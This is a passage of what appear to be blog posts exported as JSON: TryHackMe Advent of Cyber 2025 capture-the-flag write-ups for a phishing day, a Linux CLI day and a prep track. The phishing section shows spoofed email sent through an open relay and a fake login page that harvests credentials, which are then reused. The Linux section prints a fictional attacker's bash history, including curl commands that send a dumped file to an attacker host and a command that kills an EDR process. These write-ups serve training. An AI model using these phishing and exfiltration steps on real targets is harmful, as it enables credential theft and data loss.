set:phishing\u003e Enter the body of the message, type END (capitals) when finished: Dear elves, Next line of the body: Kindly note that there have been significant changes to the shipping schedules due to increased shipping orders. Next line of the body: Please confirm the new schedule by visiting http://\u0026lt;attack-box-ip\u0026gt;:8000 Next line of the body: Best regards, Next line of the body: Flying Deer Next line of the body: END Next we specify our target\u0026rsquo;s email address, choose the option to use our own SMTP server, and then specify the email address and name we want to spoof.\nset:phishing\u003e Send email to: factory@wareville.thm 1. Use a gmail Account for your email attack. 2. Use your own server or open relay set:phishing\u003e 2 set:phishing\u003e From address (ex: moo@example.com): updates@flyingdeer.thm set:phishing\u003e The FROM NAME the user will see: Flying Deer The next part revolves around the SMTP server, which in our case is the target box. No username or password is needed for the server, so just specify its IP address and its port \u0026ndash; 25.\nset:phishing\u003e Username for open-relay [blank]: Password for open-relay [blank]: set:phishing\u003e SMTP email server address (ex. smtp.youremailserveryouown.com): 10.80.173.141 set:phishing\u003e Port number for the SMTP server [25]: 25 Lastly, specify the email priority (not high priority) and opt out of both attachments and inline files.\nset:phishing\u003e Flag this message/s as high priority? [yes|no]: no Do you want to attach a file - [y/n]: n Do you want to attach an inline file - [y/n]: n [*] SET has finished sending the emails Press \u0026lt;return\u0026gt; to continue Once everything is specified and in order, close SET by typing 99 twice, then move over to the terminal where your server.py was launched and wait for the target user to read their email and (hopefully) click our included link.\nOnce they follow that link and visit our fake login page, any login information they might use (here: user-password pair) will be logged and displayed for us.\nAuthenticating with Phished Credentials Let us check the results. It appears we were successful: we captured a username-password pair \u0026ndash; admin:\u0026lt;redacted-password\u0026gt;. Note, this password is needed to answer the first question.\nuser@kali:~$ ./server.py Starting server on http://0.0.0.0:8000 ... 127.0.0.1 - - ... \"GET / HTTP/1.1\" 200 - 10.80.173.141 - - ... \"GET / HTTP/1.1\" 200 - ... Captured -\u003e username: admin password: \u0026lt;redacted-password\u0026gt; from: 10.80.173.141 10.80.173.141 - - ... \"POST /submit HTTP/1.1\" 303 - 10.80.173.141 - - ... \"GET / HTTP/1.1\" 200 - Moving on, let us try using this password for the factory user against a benign service running on the target box.\nRemember, this is a simulation; password reuse is real, and in this case, we are trying our collected credentials against the original service (the one we faked and cloned).\nLet us head over to http://\u0026lt;target-box-ip\u0026gt; and try to log in to the email portal with the user factory and the password we just collected.\nIt appears to be working, and we are granted access. We can quickly find our phishing email and another one, which mentions some toys. That is the one that gives us the answer to the second question.\nFigure 2: Successful authentication to the TBFC email portal using harvested credentials\nLastly, cleanup. Here it means simply terminating the running Python server on our attack box, answering the questions on THM, and terminating the target box.\nQuestions and Answers Question-1: What is the password used to access the TBFC portal?\n\u0026lt;redacted-password\u0026gt;\nQuestion-2: Browse to http://\u0026lt;targetbox-ip\u0026gt; from within the AttackBox and try to access the mailbox of the factory user to see if the previously harvested admin password has been reused on the email portal. What is the total number of toys expected for delivery?\n1984000\nQuestion-3: If you enjoyed today\u0026rsquo;s room, feel free to check out the Phishing Prevention room.\nNo answer needed\n","permalink":"https://onebee.blog/blog/thm/aoc25/day-02/","summary":"TryHackMe | Advent of Cyber 2025 | Day 02: Phishing - Merry Clickmas","title":"AOC25 | Day-02"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nEvent: Advent of Cyber 2025\nDay: 01\nTitle: Linux CLI - Shells Bells\nBonus: Side Quest 1 Key Challenge Description\nExplore the Linux command-line interface and use it to unveil Christmas mysteries.\nSummary\nWe start out by investigating a compromised server, collect some hidden flags and uncover some secrets. All this, by using nothing but basic Linux CLI commands.\nFor the bonus part, we first solve three riddles, then concatenate the fragments and decrypt a note. Once we fixed a glitching server, we capture the ciphertext, decode it, then decrypt the secret archive directory which was left behind. Extracting the archive enables us to retrieve the final side-quest key challenge flag.\nIntroduction A kidnapping has disrupted Wareville\u0026rsquo;s Christmas defenses: McSkidy is missing, and the town\u0026rsquo;s safety now depends on uncovering what happened to her. The TBFC team suspects the clue lies on tbfc-web01, a Linux server that handles Christmas wishlists.\nBy accessing this machine via the provided terminal or SSH, users practice basic Linux command-line skills to search the server\u0026rsquo;s data for evidence of McSkidy\u0026rsquo;s last actions and the mastermind\u0026rsquo;s plan.\nQuestion-1: Got it!\nNo answer needed\nLinux CLI This section provides a tutorial on basic Linux CLI commands and techniques for investigating a simulated security breach. It covers the following:\nBasic commands\necho, ls, cat, pwd, cd and hidden-file handling \u0026ndash; ls -la, cat .guide.txt.\nLog analysis\ngrep and file discovery with find and dissection of a malicious shell script that uses pipes, redirection, and conditional execution.\nRoot privileges\nsudo su, whoami, system utilities \u0026ndash; uptime, ip addr, ps aux \u0026ndash; and Bash history with history, cat .bash_history.\nWe begin by navigating the Linux filesystem and searching for the hidden guide. We find the first flag (answer to the second question) upon examining the hidden .guide.txt file.\nmcskidy@tbfc-web01:~$ pwd /home/mcskidy mcskidy@tbfc-web01:~$ ls -hla ... drwxrwxr-x 2 mcskidy mcskidy 4.0K ... Guides ... -rw-rw-r-- 1 mcskidy mcskidy 264 ... README.txt ... mcskidy@tbfc-web01:~$ cat README.txt For all TBFC members, Yesterday I spotted yet another Eggsploit on our servers. Not sure what it means yet, but Wareville is in danger. To be prepared, I'll write the security guide by tomorrow. As a precaution, I'll also hide the guide from plain view. ~ McSkidy mcskidy@tbfc-web01:~$ cd Guides/ mcskidy@tbfc-web01:~/Guides$ ls -hla ... -rw-rw-r-- 1 mcskidy mcskidy 506 ... .guide.txt mcskidy@tbfc-web01:~/Guides$ cat .guide.txt I think King Malhare from HopSec Island is preparing for an attack. Not sure what his goal is, but Eggsploits on our servers are not good. Be ready to protect Christmas by following this Linux guide: Check /var/log/ and grep inside, let the logs become your guide. Look for eggs that want to hide, check their shells for what's inside! P.S. Great job finding the guide. Your flag is: ----------------------------------------------- THM{\u0026lt;redacted-flag\u0026gt;} ----------------------------------------------- mcskidy@tbfc-web01:~/Guides$ We continue our Linux exploration by grepping the logs and discovering interesting traces.\nmcskidy@tbfc-web01:~/Guides$ cd /var/log/ mcskidy@tbfc-web01:/var/log$ grep \"Failed password\" auth.log ... ... tbfc-web01 sshd[2453]: Failed password for socmas from eggbox-196.hopsec.thm port 14040 ssh2 ... tbfc-web01 sshd[2453]: message repeated 2 times: [ Failed password for socmas from eggbox-196.hopsec.thm port 14040 ssh2] ... tbfc-web01 sshd[5139]: Failed password for invalid user app from 129.212.178.137 port 51356 ssh2 ... tbfc-web01 sshd[5141]: Failed password for invalid user basit from 129.212.178.137 port 51364 ssh2 ... mcskidy@tbfc-web01:/var/log$ We check for artifacts left behind \u0026ndash; perhaps some Eggshells or even Eggsploits? The flag for the fourth question lies buried deep within the discovered eggstrike.sh.\nmcskidy@tbfc-web01:/var/log$ cd ~ mcskidy@tbfc-web01:~$ find /home/socmas/ -name *egg* /home/socmas/2025/eggstrike.sh mcskidy@tbfc-web01:~$ cd /home/socmas/2025/ mcskidy@tbfc-web01:/home/socmas/2025$ cat eggstrike.sh # Eggstrike v0.3 # © 2025, Sir Carrotbane, HopSec cat wishlist.txt | sort | uniq \u003e /tmp/dump.txt rm wishlist.txt \u0026\u0026 echo \"Chistmas is fading...\" mv eastmas.txt wishlist.txt \u0026\u0026 echo \"EASTMAS is invading!\" # Your flag is: # THM{\u0026lt;redacted-flag\u0026gt;} mcskidy@tbfc-web01:/home/socmas/2025$ We continue our Linux journey by introducing system utilities and the all-powerful root user. We even experiment with sudo.\nmcskidy@tbfc-web01:/home/socmas/2025$ cd ~ mcskidy@tbfc-web01:~$ cat /etc/shadow cat: /etc/shadow: Permission denied mcskidy@tbfc-web01:~$ sudo -l Matching Defaults entries for mcskidy on tbfc-web01: env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin, use_pty User mcskidy may run the following commands on tbfc-web01: (ALL : ALL) ALL (ALL) NOPASSWD: ALL mcskidy@tbfc-web01:~$ sudo su root@tbfc-web01:/home/mcskidy$ whoami root root@tbfc-web01:/home/mcskidy$ Once we elevate privileges, we search the root user\u0026rsquo;s home directory for traces left behind. Examining the .bash_history yields the final flag, which answers the sixth question.\nroot@tbfc-web01:/home/mcskidy$ cd /root/ root@tbfc-web01:~$ cat .bash_history whoami cd ~ ll nano .ssh/authorized_keys curl --data \"@/tmp/dump.txt\" http://files.hopsec.thm/upload curl --data \"%qur\\(tq_` :D AH?65P\" http://red.hopsec.thm/report curl --data \"THM{\u0026lt;redacted-flag\u0026gt;}\" http://flag.hopsec.thm pkill tbfcedr root@tbfc-web01:~$ Questions and Answers Question-1: Which CLI command would you use to list a directory?\nls\nQuestion-2: Complete on machine\nTHM{\u0026lt;redacted-flag\u0026gt;}\nQuestion-3: Which command helped you filter the logs for failed logins?\ngrep\nQuestion-4: Complete on machine\nTHM{\u0026lt;redacted-flag\u0026gt;}\nQuestion-5: Which command would you run to switch to the root user?\nsudo su\nQuestion-6: Finally, what flag did Sir Carrotbane leave in the root bash history?\nTHM{\u0026lt;redacted-flag\u0026gt;}\nQuestion-7: For those who consider themselves intermediate and want another challenge, check McSkidy\u0026rsquo;s hidden note in /home/mcskidy/Documents/ to get access to the key for Side Quest 1! Accessible through our Side Quest Hub!\nNo answer needed\nQuestion-8: Enjoyed investigating in a Linux environment? Check out our Linux Logs Investigations room for more like this!\nNo answer needed\nSide Quest 1 Key Challenge We are not finished; a bonus challenge remains. We check the aforementioned folder /home/mcskidy/Documents/ and read the read-me-please.txt file left behind.\nroot@tbfc-web01:~$ cd /home/mcskidy/Documents/ root@tbfc-web01:/home/mcskidy/Documents$ ls -hla ... -rw-rw-r-- 1 mcskidy mcskidy 1.1K ... read-me-please.txt root@tbfc-web01:/home/mcskidy/Documents$ file read-me-please.txt read-me-please.txt: news or mail, Unicode text, UTF-8 text root@tbfc-web01:/home/mcskidy/Documents$ cat read-me-please.txt From: mcskidy To: whoever finds this I had a short second when no one was watching. I used it. I've managed to plant a few clues around the account. If you can get into the user below and look carefully, those three little \"easter eggs\" will combine into a passcode that unlocks a further message that I encrypted in the /home/eddi_knapp/Documents/ directory. I didn't want the wrong eyes to see it. Access the user account: username: eddi_knapp password: S0mething1Sc0ming There are three hidden easter eggs. They combine to form the passcode to open my encrypted vault. Clues (one for each egg): 1) I ride with your session, not with your chest of files. Open the little bag your shell carries when you arrive. 2) The tree shows today; the rings remember yesterday. Read the ledger's older pages. 3) When pixels sleep, their tails sometimes whisper plain words. Listen to the tail. Find the fragments, join them in order, and use the resulting passcode to decrypt the message I left. Be careful — I had to be quick, and I left only enough to get help. ~ McSkidy root@tbfc-web01:/home/mcskidy/Documents$ According to the instructions, we must first solve three riddles, then concatenate the fragments and decrypt a note.\nAfter fixing a glitching server, we should capture the ciphertext, decode it, and decrypt the secret archive directory left behind. Extracting the archive should enable us to retrieve the final side-quest key challenge flag.\nroot@tbfc-web01:/home/mcskidy/Documents$ cd /home/eddi_knapp/Documents/ root@tbfc-web01:/home/eddi_knapp/Documents$ ls -hla ... -rw-rw-r-- 1 eddi_knapp eddi_knapp 1004 ... mcskidy_note.txt.gpg -rw-r--r-- 1 eddi_knapp eddi_knapp 108 ... notes_on_photos.txt root@tbfc-web01:/home/eddi_knapp/Documents$ file * mcskidy_note.txt.gpg: PGP symmetric key encrypted data - AES with 256-bit key salted \u0026 iterated - SHA256 . notes_on_photos.txt: ASCII text root@tbfc-web01:/home/eddi_knapp/Documents$ cat notes_on_photos.txt Photo notes: - backup all images weekly - sync with phone when connected - organize into 3 folders per year root@tbfc-web01:/home/eddi_knapp/Documents$ We have some credentials \u0026ndash; eddi_knapp:S0mething1Sc0ming \u0026ndash; and clues for the key necessary for the first Side Quest Key Challenge.\nWe switch users and search for the fragments.\nClue-1 I ride with your session, not with your chest of files. Open the little bag your shell carries when you arrive.\nOne possible interpretation follows:\n\u0026ldquo;I ride with your session\u0026rdquo; \u0026ndash; probably related to session data \u0026ldquo;not with your chest of files\u0026rdquo; \u0026ndash; perhaps not stored in files \u0026ldquo;Open the little bag your shell carries when you arrive\u0026rdquo; \u0026ndash; should be present when opening a new shell as the current user This clue points to environment variables. We check them with env.\nroot@tbfc-web01:/home/eddi_knapp/Documents$ su eddi_knapp eddi_knapp@tbfc-web01:~/Documents$ env ... PASSFRAG1=\u0026lt;redacted-easter-egg-1\u0026gt; SUDO_USER=mcskidy ... eddi_knapp@tbfc-web01:~/Documents$ Clue-2 The tree shows today; the rings remember yesterday. Read the ledger\u0026rsquo;s older pages.\nSeveral interpretations exist. One approach:\n\u0026ldquo;The tree shows today\u0026rdquo; \u0026ndash; current directory tree or file structure \u0026ldquo;the rings remember yesterday\u0026rdquo; \u0026ndash; suggests looking at historical or log information \u0026ldquo;Read the ledger\u0026rsquo;s older pages\u0026rdquo; \u0026ndash; implies examining past records or logs We start with the user\u0026rsquo;s home directory and use the tree command. Many files exist here, but one directory stands out: .secret_git.\neddi_knapp@tbfc-web01:~/Documents$ cd ~ eddi_knapp@tbfc-web01:~$ tree -ha -L 2 ... ├── [4.0K] .secret │ └── [410K] dir.tar.gz.gpg ├── [4.0K] .secret_git │ └── [4.0K] .git ├── [4.0K] .secret_git.bak │ └── [4.0K] .git ... eddi_knapp@tbfc-web01:~$ Re-reading the clue suggests another interpretation:\n\u0026ldquo;The tree shows today\u0026rdquo; \u0026ndash; referring to the Git tree or branch structure \u0026ldquo;the rings remember yesterday\u0026rdquo; \u0026ndash; Git log history (like tree rings recording years) \u0026ldquo;Read the ledger\u0026rsquo;s older pages\u0026rdquo; \u0026ndash; examining past commits We try this approach. Inside the Git directory, we check the working tree status with git status and view the Git log with git log.\neddi_knapp@tbfc-web01:~$ cd .secret .secret/ .secret_git/ .secret_git.bak/ eddi_knapp@tbfc-web01:~$ cd .secret_git eddi_knapp@tbfc-web01:~/.secret_git$ git status On branch master nothing to commit, working tree clean eddi_knapp@tbfc-web01:~/.secret_git$ git log commit e924698378132991ee08f050251242a092c548fd (HEAD -\u003e master) Author: mcskiddy ... remove sensitive note commit d12875c8b62e089320880b9b7e41d6765818af3d Author: McSkidy ... add private note eddi_knapp@tbfc-web01:~/.secret_git$ The logs indicate a sensitive note was removed in the last commit. We examine it.\neddi_knapp@tbfc-web01:~/.secret_git$ git show e924698378132991ee08f050251242a092c548fd commit e924698378132991ee08f050251242a092c548fd (HEAD -\u003e master) Author: mcskiddy ... remove sensitive note diff --git a/secret_note.txt b/secret_note.txt deleted file mode 100755 index 060736e..0000000 --- a/secret_note.txt +++ /dev/null @@ -1,5 +0,0 @@ -======================================== -Private note from McSkidy -======================================== -We hid things to buy time. -PASSFRAG2:\u0026lt;redacted-easter-egg-2\u0026gt; eddi_knapp@tbfc-web01:~/.secret_git$ Clue-3 When pixels sleep, their tails sometimes whisper plain words. Listen to the tail.\nWhen we previously looked around with the tree command, we discovered something promising: a secret .easter_egg file hidden in the Pictures directory.\neddi_knapp@tbfc-web01:~/.secret_git$ cd ~ eddi_knapp@tbfc-web01:~$ tree -ha -L 2 ... ├── [4.0K] Music ├── [4.0K] Pictures │ ├── [1.4K] .easter_egg │ ├── [5.6M] .hidden_pic_1.png │ ├── [5.6M] .hidden_pic_2.png │ ├── [5.6M] .hidden_pic_3.png ... eddi_knapp@tbfc-web01:~$ We examine it. We have found our third and final puzzle piece.\neddi_knapp@tbfc-web01:~$ cat Pictures/.easter_egg @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@%%%%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@#+==+*@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@%+=+*++@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@*++**+#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@%%#*====+#%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@#*===-===#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@%*++:-+====*%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@%*===++++===-+*#######%%@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@%*+===+++==::-=========+*#%@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@%%#**+======-:-==--==-==+*%@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@%*+======---=+===------=#%@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@%**+=-=====-==+==-====--=*%@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@%***+++==--=====+=----=-=#@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@%#**++=--=====++====----*@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@%*+=-:=++**++**+=-::--*@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@#+=:.+#***=*#=--::-=-=%@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@%%*+-:+%#+++=++=:::==--*%@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@%*+=--*@#++===::::::::=#%@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@%%%##*#%%%####***#*#####%%@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@%%###%%%%%%%%%%##%%##%%@@@@@@@@@@@@ ~~ HAPPY EASTER ~~~ PASSFRAG3:\u0026lt;redacted-easter-egg-3\u0026gt; eddi_knapp@tbfc-web01:~$ Assembling the Pieces Find the fragments, join them in order, and use the resulting passcode to decrypt the message I left.\nNow, all that remains is to follow the given instructions:\nCombining the fragments is straightforward: concatenate the words in order, like PASSFRAG1PASSFRAG2PASSFRAG3.\nWe attempt to decrypt the note. We lack permissions to run gpg successfully as the eddi_knapp user, so we switch back to root. We exit the current session and return to the previous one.\neddi_knapp@tbfc-web01:~$ cd Documents eddi_knapp@tbfc-web01:~/Documents$ gpg -d mcskidy_note.txt.gpg gpg: AES256.CFB encrypted data gpg: problem with the agent: Permission denied gpg: encrypted with 1 passphrase gpg: decryption failed: Bad session key eddi_knapp@tbfc-web01:~/Documents$ exit exit ... root@tbfc-web01:/home/eddi_knapp/Documents$ ls -hla ... -rw-rw-r-- 1 eddi_knapp eddi_knapp 1004 ... mcskidy_note.txt.gpg -rw-r--r-- 1 eddi_knapp eddi_knapp 108 ... notes_on_photos.txt -rw-rw-r-- 1 eddi_knapp eddi_knapp 17 ... passphrase root@tbfc-web01:/home/eddi_knapp/Documents$ We try again. It works. Upon entering the correct passphrase, the note decrypts.\nroot@tbfc-web01:/home/eddi_knapp/Documents$ gpg -d mcskidy_note.txt.gpg gpg: AES256.CFB encrypted data gpg: encrypted with 1 passphrase Congrats — you found all fragments and reached this file. Below is the list that should be live on the site. If you replace the contents of /home/socmas/2025/wishlist.txt with this exact list (one item per line, no numbering), the site will recognise it and the takeover glitching will stop. Do it — it will save the site. Hardware security keys (YubiKey or similar) Commercial password manager subscriptions (team seats) Endpoint detection \u0026 response (EDR) licenses Secure remote access appliances (jump boxes) Cloud workload scanning credits (container/image scanning) Threat intelligence feed subscription Secure code review / SAST tool access Dedicated secure test lab VM pool Incident response runbook templates and playbooks Electronic safe drive with encrypted backups A final note — I don't know exactly where they have me, but there are *lots* of eggs and I can smell chocolate in the air. Something big is coming. — McSkidy --- When the wishlist is corrected, the site will show a block of ciphertext. This ciphertext can be decrypted with the following unlock key: UNLOCK_KEY: \u0026lt;redacted-unlock-key\u0026gt; To decode the ciphertext, use OpenSSL. For instance, if you copied the ciphertext into a file /tmp/website_output.txt you could decode using the following command: cat \u003e /tmp/website_output.txt openssl enc -d -aes-256-cbc -pbkdf2 -iter 200000 -salt -base64 -in /tmp/website_output.txt -out /tmp/decoded_message.txt -pass pass:'\u0026lt;UNLOCK-KEY\u0026gt;' cat /tmp/decoded_message.txt Sorry to be so convoluted, I couldn't risk making this easy while King Malhare watches. — McSkidy root@tbfc-web01:/home/eddi_knapp/Documents$ Excellent \u0026ndash; we proceed to /home/socmas/2025/ and examine the contents.\nroot@tbfc-web01:/home/eddi_knapp/Documents$ cd /home/socmas/2025/ root@tbfc-web01:/home/socmas/2025$ ls -hla ... -rw-rw-r-- 1 socmas socmas 252 ... eggstrike.sh -rw-r-----+ 1 socmas www-data 11K ... index.html drwxrwxr-x 68 socmas socmas 4.0K ... node_modules -rw-rw-r-- 1 socmas socmas 28K ... package-lock.json -rw-rw-r-- 1 socmas socmas 275 ... package.json -rw-r--r-- 1 socmas socmas 2.9K ... secret-server.js -rw-rw-r--+ 1 socmas socmas_editors 426 ... wishlist.txt root@tbfc-web01:/home/socmas/2025$ According to the instructions, this is the file \u0026ndash; wishlist.txt \u0026ndash; whose contents we must replace to fix the glitching site.\nroot@tbfc-web01:/home/socmas/2025$ cat wishlist.txt ... Bunny-themed cookie gift boxes Spring picnic hamper with pastel treats ... root@tbfc-web01:/home/socmas/2025$ But which site? Examining the current directory, files such as index.html and secret-server.js indicate a website. We examine them for clues.\nroot@tbfc-web01:/home/socmas/2025$ cat secret-server.js ... const PORT = process.env.PORT || 8081; ... app.listen(PORT, '0.0.0.0', () =\u003e { console.log(`secret server listening on ${PORT} (serving ${ROOT})`); }); root@tbfc-web01:/home/socmas/2025$ Port 8081 on localhost appears to be the target. We check it via Firefox: http://localhost:8081/.\nFigure 1: Glitching website interface\nThe website is truly glitching. We fix it by replacing the contents of wishlist.txt as instructed and waiting briefly.\nroot@tbfc-web01:/home/socmas/2025$ nano wishlist.txt root@tbfc-web01:/home/socmas/2025$ cat wishlist.txt Hardware security keys (YubiKey or similar) Commercial password manager subscriptions (team seats) ... Incident response runbook templates and playbooks Electronic safe drive with encrypted backups root@tbfc-web01:/home/socmas/2025$ After refreshing the website, we obtain the aforementioned ciphertext.\nFigure 2: Ciphertext revealed on repaired website\nWe follow the instructions and decode it. First, we write the ciphertext to a file, such as /tmp/website_output.txt.\nroot@tbfc-web01:/home/socmas/2025$ cd /tmp/ root@tbfc-web01:/tmp$ touch website_output.txt root@tbfc-web01:/tmp$ nano website_output.txt root@tbfc-web01:/tmp$ cat website_output.txt U2FsdGVkX...qi2o2zJg7fEZ8c= root@tbfc-web01:/tmp$ Everything appears ready. All that remains is to decode the ciphertext and examine the decoded message.\nroot@tbfc-web01:/tmp$ openssl enc -d -aes-256-cbc -pbkdf2 -iter 200000 -salt -base64 -in /tmp/website_output.txt -out /tmp/decoded_message.txt -pass pass:'\u0026lt;UNLOCK-KEY\u0026gt;' root@tbfc-web01:/tmp$ cat decoded_message.txt Well done — the glitch is fixed. Amazing job going the extra mile and saving the site. Take this flag THM{\u0026lt;redacted-flag\u0026gt;} NEXT STEP: If you fancy something a little...spicier....use the FLAG you just obtained as the passphrase to unlock: /home/eddi_knapp/.secret/dir That hidden directory has been archived and encrypted with the FLAG. Inside it you'll find the sidequest key. root@tbfc-web01:/tmp$ Down the Rabbit Hole Great \u0026ndash; the challenge continues. We examine the secret directory \u0026ndash; /home/eddi_knapp/.secret/dir.\nroot@tbfc-web01:/tmp$ cd /home/eddi_knapp/.secret root@tbfc-web01:/home/eddi_knapp/.secret$ ls -hla ... -rw------- 1 eddi_knapp eddi_knapp 410K ... dir.tar.gz.gpg root@tbfc-web01:/home/eddi_knapp/.secret$ We decrypt the file using the previously acquired flag. Decrypting with -d without specifying an output file sends data to standard output, flooding the terminal with gibberish since the data is archived. We specify the output file with -o.\nroot@tbfc-web01:/home/eddi_knapp/.secret$ gpg -d dir.tar.gz.gpg ... root@tbfc-web01:/home/eddi_knapp/.secret$ gpg -o decrypted_dir.tar.gz -d dir.tar.gz.gpg gpg: AES256.CFB encrypted data gpg: encrypted with 1 passphrase root@tbfc-web01:/home/eddi_knapp/.secret$ ls -hla ... -rw-r--r-- 1 root root 410K ... decrypted_dir.tar.gz -rw------- 1 eddi_knapp eddi_knapp 410K ... dir.tar.gz.gpg root@tbfc-web01:/home/eddi_knapp/.secret$ The file is decrypted. We extract the contents.\n# -x: extract files; -z: gzip compression; -v: verbose; -f: specify the file root@tbfc-web01:/home/eddi_knapp/.secret$ tar -xzvf decrypted_dir.tar.gz dir/ dir/sq1.png root@tbfc-web01:/home/eddi_knapp/.secret$ ls -hla ... -rw-r--r-- 1 root root 410K ... decrypted_dir.tar.gz drwxrwxr-x 2 eddi_knapp eddi_knapp 4.0K ... dir -rw------- 1 eddi_knapp eddi_knapp 410K ... dir.tar.gz.gpg root@tbfc-web01:/home/eddi_knapp/.secret$ cd dir root@tbfc-web01:/home/eddi_knapp/.secret/dir$ ls -hla ... -rw-r--r-- 1 eddi_knapp eddi_knapp 411K ... sq1.png ... root@tbfc-web01:/home/eddi_knapp/.secret/dir$ file sq1.png sq1.png: PNG image data, 668 x 936, 8-bit/color RGBA, non-interlaced root@tbfc-web01:/home/eddi_knapp/.secret/dir$ We receive a picture named sq1.png. We examine it with display sq1.png.\nWe have found our Easter egg and within it the flag for the first Side Quest.\n","permalink":"https://onebee.blog/blog/thm/aoc25/day-01/","summary":"TryHackMe | Advent of Cyber 2025 | Day 01: Linux CLI - Shells Bells + Side Quest 1 Key Challenge","title":"AOC25 | Day-01 + SQK1"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nEvent: Advent of Cyber 2025\nDay: 00\nTitle: Advent of Cyber Prep Track Description\nGet ready for the Advent of Cyber 2025 with the Advent of Cyber Prep Track, a series of warm-up tasks aimed to get beginners ready for this year\u0026rsquo;s event.\nSummary\nThis room introduces a ten‑mission beginner series on TryHackMe, covering password creation, malware scanning, basic Linux/Windows file navigation, breach checking, router hardening, app permission revocation, data leakage via chatbots, and HTTP log analysis.\nEach mission provides a simple task and a flag to capture. The guide also includes prize info, rules, community links, and a festive storyline set in Wareville.\nWelcome to Advent of Cyber 2025 We begin by reviewing the sections covering prizes, rules, qualification criteria, certificates and badges, and officially recognized video walkthroughs.\nQuestion-1: Got it!\nNo answer needed\nHow to use TryHackMe This section provides a brief guide on using TryHackMe\u0026rsquo;s tools \u0026ndash; AttackBox, virtual machines, split-screen functionality, direct links, and remote connections \u0026ndash; to complete the daily beginner challenges of Advent of Cyber.\nQuestion-1: Got it!\nNo answer needed\nJoin our community This section encourages readers to follow TryHackMe on various social platforms and to join its large Discord community, where members discuss Advent of Cyber challenges, receive assistance, learn about events, and access exclusive swag.\nQuestion-1: Got it!\nNo answer needed\nIntroduction This section presents a brief introduction and narrative setup.\nStoryline\nThe snow has started falling in Wareville, home of The Best Festival Company (TBFC). The team is preparing for SOCMAS, the annual cyber celebration, but something is not right. Systems are glitching, passwords are failing, and McSkidy suspects something is afoot. This name keeps coming up: King Malhare. What could it mean?\nBefore joining the response team, we complete ten short missions that teach key cybersecurity skills and reveal clues for Advent of Cyber 2025. Each mission opens via a View Site button in a split-screen view, with instructions on the left and the interactive challenge on the right.\nQuestion-1: Warm me up!\nNo answer needed\nPassword Pandemonium We receive an alert regarding seventy-three weak TBFC accounts (even P@ssw0rd123). The challenge requires crafting a password of at least twelve characters, mixing uppercase and lowercase letters, numbers, and symbols, and ensuring it does not appear in any breach list. We suggest !20AdventOfCyber25!.\nQuestion-1: What\u0026rsquo;s the flag?\n\u0026lt;redacted-flag\u0026gt;\nThe Suspicious Chocolate.exe The task requires using a simulated VirusTotal scanner \u0026ndash; we click Scan, review the report (forty-nine clean, one malicious), and determine whether the executable is safe or malicious.\nWith only two choices available, we have a fifty-percent probability of success. These odds are not unfavorable.\nQuestion-1: What\u0026rsquo;s the flag?\n\u0026lt;redacted-flag\u0026gt;\nWelcome to the AttackBox! The task is straightforward: locate and read the hidden welcome message by listing files, navigating to the challenges/ directory, and displaying welcome.txt using cat.\nAlternatively, we retrieve it directly with cat challenges/welcome.txt.\nQuestion-1: What\u0026rsquo;s the flag?\n\u0026lt;redacted-flag\u0026gt;\nThe CMD Conundrum The task requires using Windows Command Prompt to locate a hidden flag file: we list files with dir, reveal hidden items with dir /a, then display the flag using type hidden_flag.txt.\nAlternatively, we retrieve the flag directly with type mystery_data\\hidden_flag.txt.\nQuestion-1: What\u0026rsquo;s the flag?\n\u0026lt;redacted-flag\u0026gt;\nLinux Lore The challenge requires searching McSkidy\u0026rsquo;s home directory for a hidden message: we navigate to /home/mcskidy/, list all files with ls -la, then display the secret flag using cat .secret_message.\nAlternatively, we complete the task directly with cat /home/mcskidy/.secret_message.\nQuestion-1: What\u0026rsquo;s the flag?\n\u0026lt;redacted-flag\u0026gt;\nThe Leak in the List The task requires using a breach-checking service \u0026ndash; such as Have I Been Pwned \u0026ndash; to determine whether mcskidy@tbfc.com appears in any leaked database, then noting which domain is flagged as Compromised.\nQuestion-1: What\u0026rsquo;s the flag?\n\u0026lt;redacted-flag\u0026gt;\nWiFi Woes in Wareville The task requires logging into the router (username: admin, password: admin), navigating to the Security Settings, and replacing the default password with a strong one that meets the validation requirements. We suggest W4r3v1ll3W1llN0tF4ll!!!.\nQuestion-1: What\u0026rsquo;s the flag?\n\u0026lt;redacted-flag\u0026gt;\nThe App Trap The challenge requires inspecting the account\u0026rsquo;s connected apps, identifying the one with suspicious permissions (for example, password-vault access), and revoking its access to stop the data leak.\nWe wonder why an Eastmas Scheduler application would require Password Vault access.\nQuestion-1: What\u0026rsquo;s the 